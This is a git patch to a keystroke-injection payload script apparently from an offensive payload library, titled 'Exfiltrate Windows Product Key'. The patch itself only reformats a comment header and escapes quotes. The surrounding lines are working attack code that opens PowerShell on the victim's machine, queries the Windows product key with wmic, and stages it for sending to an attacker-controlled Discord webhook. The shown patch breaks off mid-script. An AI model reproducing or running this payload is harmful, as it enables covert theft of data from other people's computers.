From 2a47594e3a9ba0715d7109b532f9a466d2bedec9 Mon Sep 17 00:00:00 2001 From: Aleff Date: Sun, 9 Jun 2024 12:04:01 +0200 Subject: [PATCH] Update payload.txt --- .../payload.txt | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/payloads/library/exfiltration/Exfiltrate_Windows_Product_Key/payload.txt b/payloads/library/exfiltration/Exfiltrate_Windows_Product_Key/payload.txt index 7a9fca5b..393b1521 100644 --- a/payloads/library/exfiltration/Exfiltrate_Windows_Product_Key/payload.txt +++ b/payloads/library/exfiltration/Exfiltrate_Windows_Product_Key/payload.txt @@ -1,11 +1,11 @@ * REM ################################################### -* REM # | -* REM # Title : Exfiltrate Windows Product Key | -* REM # Author : Aleff | -* REM # Version : 1.0 | -* REM # Category : Exfiltration | -* REM # Target : Windows 10-11 | -* REM # | +* REM # # +* REM # Title : Exfiltrate Windows Product Key # +* REM # Author : Aleff # +* REM # Version : 1.0 # +* REM # Category : Exfiltration # +* REM # Target : Windows 10-11 # +* REM # # * REM ################################################### ATTACKMODE HID @@ -20,10 +20,10 @@ QUACK DELAY 1000 QUACK STRING powershell QUACK ENTER QUACK DELAY 2000 -QUACK STRING $hookUrl = "$DISCORD-WEBHOOK" +QUACK STRING $hookUrl = \"$DISCORD-WEBHOOK\" QUACK ENTER QUACK DELAY 500 -QUACK STRING $exfiltration = @" +QUACK STRING $exfiltration = @\" QUACK ENTER QUACK DELAY 500 QUACK STRING $(wmic path softwarelicensingservice get OA3xOriginalProductKey) @@ -32,7 +32,7 @@ QUACK DELAY 500 QUACK STRING $(wmic path softwarelicensingservice get OA3xOriginalProductKeyDescription) QUACK ENTER QUACK DELAY 500 -QUACK STRING "@ +QUACK STRING \"@ QUACK ENTER QUACK DELAY 500 QUACK STRING $payload = [PSCustomObject]@{